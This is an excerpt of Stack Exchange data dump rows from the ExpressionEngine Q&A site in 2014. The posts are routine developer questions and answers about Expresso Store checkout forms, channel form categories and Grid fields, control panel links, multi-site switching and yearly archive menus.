  <row Id="25864" PostTypeId="1" AcceptedAnswerId="25888" CreationDate="2014-09-24T22:25:31.483" Score="0" ViewCount="168" Body="&lt;p&gt;I'm using Expresso Store to take invoice payments with two forms, one to add the amount of the invoice to the cart (with invoice amount being set by the quantity field which is then multiplied by the product's price of $1) and then a second &lt;code&gt;checkout&lt;/code&gt; form which captures payment details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first form works fine, but the second one on submit, keeps getting returned to itself and never redirects to the page set in the return parameter. It's like there's some error that prevents the form from submitting correctly but no errors are reported (&lt;code&gt;error_handling=&quot;inline&quot;&lt;/code&gt; is disabled).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the CP, an order is actually created and shows the correct amount and custom field information, but with an order status of Incomplete and when viewing the details of the order, for every attempt at submitting the second form, there's a row under Transactions with a status of Failed (payment method is correctly reported as Dummy which is what I'm testing with).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First form&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product&#xA;  entry_id=&quot;130&quot; {!-- fixed ID of the invoice 'product' --}&#xA;  empty_cart=&quot;yes&quot;&#xA;  payment_method=&quot;Dummy&quot;&#xA;  return=&quot;{segment_1}/{segment_2}/payment-details/&quot;&#xA;}&#xA;    &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;label class=&quot;formLabel&quot; for=&quot;billing_first_name&quot;&amp;gt;First Name:&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input name=&quot;billing_first_name&quot; type=&quot;text&quot; id=&quot;billing_first_name&quot; title=&quot;Enter the patient's name here&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;label class=&quot;formLabel&quot; for=&quot;billing_last_name&quot;&amp;gt;Last Name:&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input name=&quot;billing_last_name&quot; type=&quot;text&quot; id=&quot;billing_last_name&quot; title=&quot;Enter the patient's name here&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;label class=&quot;formLabel&quot; for=&quot;patientId&quot;&amp;gt;SKG Patient ID:&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input name=&quot;order_custom1&quot; type=&quot;text&quot; value=&quot;SKG&quot; id=&quot;patientId&quot; title=&quot;Enter the patient's id here&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;label class=&quot;formLabel&quot; for=&quot;invoiceNo&quot;&amp;gt;Invoice Number(s):&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input name=&quot;order_custom2&quot; type=&quot;text&quot; id=&quot;invoiceNo&quot; title=&quot;Enter the invoice number(s) here&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;      &amp;lt;label class=&quot;formLabel&quot; for=&quot;payAmount&quot;&amp;gt;Amount you wish to pay ($):&amp;lt;/label&amp;gt;&#xA;      &amp;lt;input name=&quot;item_qty&quot; type=&quot;text&quot; id=&quot;payAmount&quot; title=&quot;Enter the amount you wish to pay here.&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;      &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Pay invoice&quot; tabindex=&quot;5&quot; class=&quot;btn&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Checkout form&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout&#xA;  return=&quot;{segment_1}/{segment_2}/ORDER_HASH&quot;&#xA;  payment_method=&quot;Dummy&quot;&#xA;  disable_javascript=&quot;yes&quot;&#xA;  form_class=&quot;payment-form&quot;&#xA;}&#xA;&#xA;  {items}&#xA;    &amp;lt;dl class=&quot;invoice-details&quot;&amp;gt;&#xA;      &amp;lt;dt&amp;gt;Patient name&amp;lt;/dt&amp;gt;&#xA;      &amp;lt;dd&amp;gt;{billing_first_name} {billing_last_name}&amp;lt;/dd&amp;gt;&#xA;      &amp;lt;dt&amp;gt;Patient ID&amp;lt;/dt&amp;gt;&#xA;      &amp;lt;dd&amp;gt;{order_custom1}&amp;lt;/dd&amp;gt;&#xA;      &amp;lt;dt&amp;gt;Invoice number&amp;lt;/dt&amp;gt;&#xA;      &amp;lt;dd&amp;gt;{order_custom2}&amp;lt;/dd&amp;gt;&#xA;      &amp;lt;dt&amp;gt;Invoice total&amp;lt;/dt&amp;gt;&#xA;      &amp;lt;dd&amp;gt;{order_total}&amp;lt;/dd&amp;gt;&#xA;    &amp;lt;/dl&amp;gt;&#xA;  {/items}&#xA;&#xA;  &amp;lt;fieldset class=&quot;first&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;formLabel&quot; for=&quot;payment_name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; id=&quot;payment_name&quot; name=&quot;payment[name]&quot; placeholder=&quot;As it appears on card&quot;&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;  &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;label class=&quot;formLabel&quot; for=&quot;payment_card_no&quot;&amp;gt;Card Number&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; id=&quot;payment_card_no&quot; name=&quot;payment[card_no]&quot; placeholder=&quot;12 digits no spaces&quot;&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;  &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;label class=&quot;formLabel&quot; for=&quot;payment_exp_month&quot;&amp;gt;Expiry&amp;lt;/label&amp;gt;&#xA;    &amp;lt;select id=&quot;payment_exp_month&quot; name=&quot;payment[exp_month]&quot; style=&quot;width:50px&quot;&amp;gt;&#xA;      &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;      {exp_month_options}&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;select id=&quot;payment_exp_year&quot; name=&quot;payment[exp_year]&quot; style=&quot;width:75px&quot;&amp;gt;&#xA;      &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;      {exp_year_options}&#xA;    &amp;lt;/select&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;  &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;label class=&quot;formLabel&quot; for=&quot;payment_csc&quot;&amp;gt;Security code&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; id=&quot;payment_csc&quot; name=&quot;payment[csc]&quot; placeholder=&quot;3 digits on the back of card&quot;&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&#xA;  &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Complete payment&quot; class=&quot;btn&quot; /&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The site is also using Structure but I've tested accessing the pages directly at their template_group/template URLs and get the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have an idea about what might be tripping it up?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2014-09-26T14:38:03.970" Title="Expresso Store checkout won't complete" Tags="|expresso-store|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25865" PostTypeId="2" ParentId="25824" CreationDate="2014-09-24T23:41:32.627" Score="-1" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{category_menu}&#xA;&amp;lt;select name=&quot;category[]&quot; size=&quot;10&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;{exp:query sql=&quot;SELECT cat_name, cat_id FROM exp_categories WHERE group_id='5'&quot;}&#xA;&amp;lt;option value='{cat_id}'&amp;gt;{cat_name}&amp;lt;/option&amp;gt;&#xA;{/exp:query}&#xA;&amp;lt;/select&amp;gt;&#xA;{/category_menu}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the past, I've tried different versions of category_group=”#” or cat_id=”#” or category=”#”, but all versions returned all categories.&lt;/p&gt;&#xA;" OwnerUserId="3617" LastActivityDate="2014-09-24T23:41:32.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25866" PostTypeId="2" ParentId="25853" CreationDate="2014-09-25T00:40:19.933" Score="1" Body="&lt;p&gt;Currently forms doesn't support external redirects. You need to redirect to a template and on that template redirect to an external site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are trying to redirect to an internal page and it isn't working you should contact our support as there might be an issue with your htaccess.  &lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2014-09-25T00:40:19.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25867" PostTypeId="2" ParentId="14466" CreationDate="2014-09-25T02:33:27.060" Score="0" Body="&lt;p&gt;If you are using Channel Forms (EE 2.7+), than this should work for you: &lt;a href=&quot;https://github.com/tobystokes/EE-SafeCracker-HTML5-Attributes&quot; rel=&quot;nofollow&quot;&gt;https://github.com/tobystokes/EE-SafeCracker-HTML5-Attributes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3618" LastActivityDate="2014-09-25T02:33:27.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25868" PostTypeId="1" AcceptedAnswerId="25878" CreationDate="2014-09-25T02:40:50.793" Score="1" ViewCount="145" Body="&lt;p&gt;From my templates, I want to link to my CPanel. The template is only accessible by those who do have permission to access the CPanel. How do I link to the CPanel from the template? The URL I see generated when I log in seems to include a session id.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-09-25T16:39:48.543" Title="Link to CPanel from templates" Tags="|templates|cpanel|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25872" PostTypeId="2" ParentId="25868" CreationDate="2014-09-25T08:02:37.427" Score="0" Body="&lt;p&gt;You can get the session id via PHP by using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata['session_id'] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You are probably best wrapping this in a plugin&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-25T08:02:37.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25873" PostTypeId="2" ParentId="25854" CreationDate="2014-09-25T08:25:09.607" Score="0" Body="&lt;p&gt;I think this may depend on whether you are selling to businesses or individuals (i.e. whether any VAT can be reclaimed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are selling to individuals then you should be showing prices inclusive of VAT, in which case it would make sense that the discount is applied to the gross price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you are selling to businesses then it might be preferable to apply the discount to the net price and then apply the VAT to the new value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, I think it's down to preference and who you are selling to but both methods should be possible within CartThrob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a site a while back for a client that sold both VATtable and non-VATtable goods. It was quite complicated and needed a custom plugin to deal with it. Unfortunately it this didn't work correctly. But I now see that in the latest version of CT there seems to be a way to apply tax by product rather than on the final cart value. I have yet to test this out though.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-25T08:25:09.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25874" PostTypeId="2" ParentId="25824" CreationDate="2014-09-25T09:59:11.080" Score="0" Body="&lt;p&gt;If you don't want people to be able to choose categories in your channel form, you can just use the category=&quot;y&quot; parameter in your channel form tag as Mark said:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form category=&quot;y&quot;...}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, if you do still want to show a select menu etc:&#xA;It's not documented from what I can see, but you can use the show_group parameter within the categories tag (an alternative to the category_menu tag see &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/index.html#categories&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/index.html#categories&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you could use a conditional within that to only output a certain category. Try the following code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories show_group=&quot;x&quot;}&#xA;{if '{category_id}' == y}&#xA; &amp;lt;option value=&quot;{category_id}&quot;{selected}&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;{/if}&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There may well be another parameter for the categories tag which just lets you limit to a particular ID directly without looping.&lt;/p&gt;&#xA;" OwnerUserId="191" LastActivityDate="2014-09-25T09:59:11.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25875" PostTypeId="1" AcceptedAnswerId="25876" CreationDate="2014-09-25T10:16:55.067" Score="0" ViewCount="111" Body="&lt;p&gt;I'm running MSM on MAMP PRO and I though everything was setup correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have configured 3 sites, and when logged into the CP using the super admin account, I can switch between them without a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when logged in with a member assigned to another member group (which as far as I can see has pretty much all the same privileges as the SA), switching between sites no longer works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead I just get &quot;An Error Was Encountered - You are not authorized to access this page&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea as to where I can start looking to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2014-09-25T10:31:59.677" Title="MSM - Only super admin can switch sites" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25876" PostTypeId="2" ParentId="25875" CreationDate="2014-09-25T10:31:59.677" Score="0" Body="&lt;p&gt;Apologies. I think the issue has been solved. I set all 3 sites to cookies only, cleared the browser and now it appears to be working.&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2014-09-25T10:31:59.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25877" PostTypeId="1" CreationDate="2014-09-25T10:34:21.753" Score="0" ViewCount="77" Body="&lt;p&gt;For reasons I won't go into, I need to insert data into a Grid field using a Channel form. However, I cannot use the 'default' Grid field and instead need to use separate, custom select dropdowns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've managed to get this working except for one thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Grid field in question has 3 simple text columns. Two of these are populated by select dropdowns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second select seems to work OK and the data from the select is inserted correctly. But the first select field of the first row is always gets the very first option inserted. All other columns/rows appear to be OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The different rows are generated with jQuery and the second select of each row is dynamically generated from an Ajax lookup but I can't see this being the issue as everything else seems to work OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The HTML I'm using is thus (ignore the data attributes, they are from a previous iteration and I've not yet removed them);&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;product-selections&quot;&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;product-selection-1&quot; class=&quot;product-selection&quot;&amp;gt;&#xA;&#xA;        &amp;lt;select class=&quot;product-purchased&quot; name=&quot;customer-invoice-purchases[rows][new_row_1][col_id_1]&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;&quot;&amp;gt;--Choose a product--&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;554&quot; value=&quot;Product 1&quot;&amp;gt;Product 1&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;553&quot; value=&quot;Product 2&quot;&amp;gt;Product 2&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;551&quot; value=&quot;Product 3&quot;&amp;gt;Product 3&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;550&quot; value=&quot;Product 4&quot;&amp;gt;Product 4&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;549&quot; value=&quot;Product 5&quot;&amp;gt;Product 5&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;548&quot; value=&quot;Product 6&quot;&amp;gt;Product 6&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;&#xA;        &amp;lt;select id=&quot;&quot; class=&quot;product-variant&quot; name=&quot;customer-invoice-purchases[rows][new_row_1][col_id_2]&quot;&amp;gt;&#xA;            &amp;lt;option data-product=&quot;553&quot; data-points=&quot;20&quot;&amp;gt;2 port&amp;lt;/option&amp;gt; &#xA;            &amp;lt;option data-product=&quot;553&quot; data-points=&quot;30&quot;&amp;gt;3 port&amp;lt;/option&amp;gt; &#xA;            &amp;lt;option data-product=&quot;553&quot; data-points=&quot;40&quot;&amp;gt;4 port&amp;lt;/option&amp;gt;     &#xA;            &amp;lt;option data-product=&quot;553&quot; data-points=&quot;50&quot;&amp;gt;5 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;553&quot; data-points=&quot;60&quot;&amp;gt;6 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;553&quot; data-points=&quot;70&quot;&amp;gt;7 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;553&quot; data-points=&quot;80&quot;&amp;gt;8 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;553&quot; data-points=&quot;90&quot;&amp;gt;9 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;553&quot; data-points=&quot;100&quot;&amp;gt;10 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;553&quot; data-points=&quot;110&quot;&amp;gt;11 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;553&quot; data-points=&quot;120&quot;&amp;gt;12 port&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;&#xA;        &amp;lt;a class=&quot;remove button pink small&quot; href=&quot;#&quot; title=&quot;Remove this item&quot;&amp;gt;×&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;div id=&quot;product-selection-2&quot; class=&quot;product-selection&quot;&amp;gt;&#xA;&#xA;        &amp;lt;select class=&quot;product-purchased&quot; name=&quot;customer-invoice-purchases[rows][new_row_2][col_id_1]&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;&quot;&amp;gt;--Choose a product--&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;554&quot; value=&quot;Product 1&quot;&amp;gt;Product 1&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;553&quot; value=&quot;Product 2&quot;&amp;gt;Product 2&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;551&quot; value=&quot;Product 3&quot;&amp;gt;Product 3&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;550&quot; value=&quot;Product 4&quot;&amp;gt;Product 4&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;549&quot; value=&quot;Product 5&quot;&amp;gt;Product 5&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;548&quot; value=&quot;Product 6&quot;&amp;gt;Product 6&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;&#xA;        &amp;lt;select id=&quot;&quot; class=&quot;product-variant&quot; name=&quot;customer-invoice-purchases[rows][new_row_2][col_id_2]&quot;&amp;gt;&#xA;            &amp;lt;option data-product=&quot;551&quot; data-points=&quot;60&quot;&amp;gt;2 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;551&quot; data-points=&quot;70&quot;&amp;gt;3 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;551&quot; data-points=&quot;80&quot;&amp;gt;4 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;551&quot; data-points=&quot;90&quot;&amp;gt;5 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;551&quot; data-points=&quot;100&quot;&amp;gt;6 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;551&quot; data-points=&quot;110&quot;&amp;gt;7 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;551&quot; data-points=&quot;120&quot;&amp;gt;8 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;551&quot; data-points=&quot;130&quot;&amp;gt;9 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;551&quot; data-points=&quot;140&quot;&amp;gt;10 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;551&quot; data-points=&quot;150&quot;&amp;gt;11 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;551&quot; data-points=&quot;160&quot;&amp;gt;12 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;551&quot; data-points=&quot;170&quot;&amp;gt;13 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;551&quot; data-points=&quot;180&quot;&amp;gt;14 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;551&quot; data-points=&quot;190&quot;&amp;gt;15 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;551&quot; data-points=&quot;200&quot;&amp;gt;16 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;551&quot; data-points=&quot;210&quot;&amp;gt;17 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;551&quot; data-points=&quot;220&quot;&amp;gt;18 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;551&quot; data-points=&quot;230&quot;&amp;gt;19 port&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option data-product=&quot;551&quot; data-points=&quot;240&quot;&amp;gt;20 port&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;&#xA;        &amp;lt;a class=&quot;remove button pink small&quot; href=&quot;#&quot; title=&quot;Remove this item&quot;&amp;gt;×&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what gets inserted (ignore the quantity column for the moment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ijYQf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea as to why the first field of the first row might always get the first option inserted regardless of what has been selected?&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-09-25T10:40:44.913" LastActivityDate="2016-05-24T06:50:12.857" Title="Wrong selected value inserted into a Grid via Channel Form using custom select dropdowns" Tags="|safecracker|grid|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="25878" PostTypeId="2" ParentId="25868" CreationDate="2014-09-25T10:48:39.687" Score="4" Body="&lt;p&gt;Starting from version 2.8.0 you can use standard &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#cp-session-id&quot; rel=&quot;nofollow&quot;&gt;global variable&lt;/a&gt; for this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{cp_session_id}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you want to make link to edit entry, don't forget about special tag for this which &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#cp-edit-entry-url&quot; rel=&quot;nofollow&quot;&gt;available from version 2.9.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{cp_edit_entry_url} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#cp-url&quot; rel=&quot;nofollow&quot;&gt;output the cp main url&lt;/a&gt; (like example.com/admin.php) using global variable (from ee 2.8.0)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{cp_url}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-09-25T16:39:48.543" LastActivityDate="2014-09-25T16:39:48.543" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25879" PostTypeId="1" AcceptedAnswerId="25895" CreationDate="2014-09-25T10:53:18.310" Score="0" ViewCount="228" Body="&lt;p&gt;I would like to create a yearly archives for my blog in this format:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A drop-down menu with all the years, with the current year selected. When a year is selected, it show up a list with all the months that have entries in that year. When another year is selected, the months list change automatically, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used Low Yearly Archives with this format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;year&quot;&amp;gt;&#xA;{exp:low_yearly_archives channel=&quot;blog&quot; start_month=&quot;1&quot; status=&quot;not closed&quot; sort=&quot;desc&quot;}&#xA;&amp;lt;option value=&quot;{year}&quot;&amp;gt;{year}&amp;lt;/option&amp;gt;&#xA;{/exp:low_yearly_archives}&#xA;&amp;lt;/select&amp;gt;&#xA;{exp:low_yearly_archives channel=&quot;blog&quot; start_month=&quot;1&quot; status=&quot;not closed&quot; sort=&quot;desc&quot;}&#xA;&amp;lt;div&amp;gt;&#xA;{months}&#xA;&amp;lt;div&amp;gt;&#xA;&amp;lt;a href=&quot;{path='blog'}/{year}/{month_num}/&quot; title=&quot;{num_entries} entries in {month} {year}&quot;&amp;gt;{month_short}&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/months}&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:low_yearly_archives}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I show only the months related to the year selected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thank all those who can help me.&lt;/p&gt;&#xA;" OwnerUserId="2684" LastEditorUserId="2684" LastEditDate="2014-09-25T14:16:33.840" LastActivityDate="2014-09-25T16:48:12.250" Title="Low Yearly Archives - Select year from a drop-down menu" Tags="|html|low-yearly-archives|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25880" PostTypeId="1" CreationDate="2014-09-25T11:08:23.457" Score="1" ViewCount="154" Body="&lt;p&gt;How to use channel entries api for creating channel entries which contains matrix field, I have a channel which contains some text fields and one matrix field.The channel api works fine when I insert data of text fields but I was not able to find any documentation of how to insert matrix field data.&#xA;  My code looks like this&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Kf43X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can any one please help me out?&lt;/p&gt;&#xA;" OwnerUserId="1210" LastActivityDate="2015-01-04T10:53:32.580" Title="How to insert matrix rows data using channel API?" Tags="|ee2|matrix|channel|channel-entries-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25881" PostTypeId="2" ParentId="25877" CreationDate="2014-09-25T11:26:18.853" Score="0" Body="&lt;p&gt;This was actually a problem with how I was creating the field rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a 'template' field set within the page (only containing the initial first select) which was cloned as needed (the second select then being inserted via Ajax as required).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This had the effect of overriding whatever was in the first 'real' row.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-25T11:26:18.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25882" PostTypeId="1" CreationDate="2014-09-25T12:17:11.333" Score="0" ViewCount="75" Body="&lt;p&gt;EE 2.8.1 - when I try to login as a member (another Super Admin) and check the radio button for go to CP (or any button or none) EE just logs me out and dumps me back on the login screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have a similar issue or suggest a fix?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2016-06-09T01:21:29.053" Title="Cannot use Login as Member for another Super Admin" Tags="|control-panel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
